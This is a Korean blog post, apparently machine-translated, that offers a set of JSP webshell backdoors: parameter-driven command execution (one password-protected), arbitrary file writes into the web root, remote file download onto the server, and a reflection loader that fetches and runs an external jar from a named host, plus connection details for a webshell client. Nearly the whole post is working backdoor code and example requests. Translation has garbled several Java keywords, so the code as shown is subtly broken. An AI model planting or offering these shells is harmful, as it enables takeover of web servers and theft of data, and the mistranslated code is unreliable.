|
|
게시됨 2015. 1. 2. 오후 6:46:57
|
|
|
|

이전: http://p2j.cn/?p=1627 1. 시스템 명령어 실행: 에코 없이 시스템 명령 실행: <%Runtime.getRuntime().exec(request.getParameter("i"));%> 요청: http://192.168.16.240:8080/Shell/cmd2.jsp?i=ls 실행 후에는 에코가 없어서 바운스 셸에 매우 편리합니다. 비밀번호 검증과 관련된 에코가 있습니다: <% if("023".equals(request.getParameter("pwd")){ java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i").getInputStream(); int a = -1; 바이트[] b = 새 바이트[2048]; out.print("<pre>"); while((a=in.read(b))!=-1){ out.println(new String(b)); } out.print("</pre>"); }%> 요청: http://192.168.16.240:8080/Shell/cmd2.jsp?pwd=023&i=ls
2. 문자열을 인코딩하여 지정된 파일에 기록합니다: 1: <%new java.io.FileOutputStream(request.getParameter("f")).write(request.getParameter("c").getBytes();%> 요청: http://localhost:8080/Shell/file.jsp?f=/Users/yz/wwwroot/2.txt&c=1234 웹 디렉토리에 쓰기: <%new java.io.FileOutputStream(application.getRealPath("/")+"/"+request.getParameter("f")).write(request.getParameter("c").getBytes();%> 요청: http://localhost:8080/Shell/file.jsp?f=2.txt&c=1234 2: <%new java.io.RandomAccessFile(request.getParameter("f"),"rw").write(request.getParameter("c").getBytes()); %> 요청: http://localhost:8080/Shell/file.jsp?f=/Users/yz/wwwroot/2.txt&c=1234 웹 디렉토리에 쓰기: <%new java.io.RandomAccessFile(application.getRealPath("/")+"/"+request.getParameter("f"),"rw").write(request.getParameter("c").getBytes()); %> 요청: http://localhost:8080/Shell/file.jsp?f=2.txt&c=1234 3: 원격 파일 다운로드 (apache io utils를 사용하지 않으면 입력스트림을 바이트로 변환할 수 없어서 매우 길습니다...) <% java.io.InputStream in = new java.net.URL(request.getParameter("u")).openStream(); 바이트[] b = 새 바이트[1024]; java.io.ByteArrayOutputStream baos = new java.io.ByteArrayOutputStream(); int a = -1; 반면 ((a = in.read(b)) != -1) { baos.write(b, 0, a); } new java.io.FileOutputStream(request.getParameter("f")).write(baos.toByteArray()); %> 요청: http://localhost:8080/Shell/download.jsp?f=/Users/yz/wwwroot/1.png&u=http://www.baidu.com/img/bdlogo.png 웹 경로로 다운로드: <% java.io.InputStream in = new java.net.URL(request.getParameter("u")).openStream(); 바이트[] b = 새 바이트[1024]; java.io.ByteArrayOutputStream baos = new java.io.ByteArrayOutputStream(); int a = -1; 반면 ((a = in.read(b)) != -1) { baos.write(b, 0, a); } new java.io.FileOutputStream(application.getRealPath("/")+"/"+ request.getParameter("f").write(baos.toByteArray()); %> 요청: http://localhost:8080/Shell/download.jsp?f=1.png&u=http://www.baidu.com/img/bdlogo.png 넷째: Reflection이 외부 병을 호출해 뒷문을 완벽하게 만들었다 위의 백도어 기능이 너무 약하고 구식이라면 이걸 시도해 보세요: <%=Class.forName("Load",true,new java.net.URLClassLoader(new java.net.URL[]{new java.net.URL(request.getParameter("u")))).getMethods()[0].invoke(null, new Object[]{ request.getParameterMap()})%> 요청: http://192.168.16.240:8080/Shell/reflect.jsp?u=http://p2j.cn/Cat.jar&023=A
주방용 칼 연결부: http://192.168.16.240:8080/Shell/reflect.jsp?u=http://p2j.cn/Cat.jar, 비밀번호 023.
해결책: 리플렉션을 사용해 외부 jar를 현재 애플리케이션에 불러오고, 리플렉션은 출력 처리 결과를 실행합니다. request.getParameterMap()은 요청된 모든 매개변수를 포함합니다. 외부 jar 패키지가 로드되어 있으므로, 서버는 이 jar 주소에 접근할 수 있어야 합니다. |
이전의:TXT 텍스트 파일 뒤에 숨겨진 위기다음:Java MD5 암호화, Base64 암호화 및 복호화 Java 시스템 명령 소스 코드를 실행합니다
|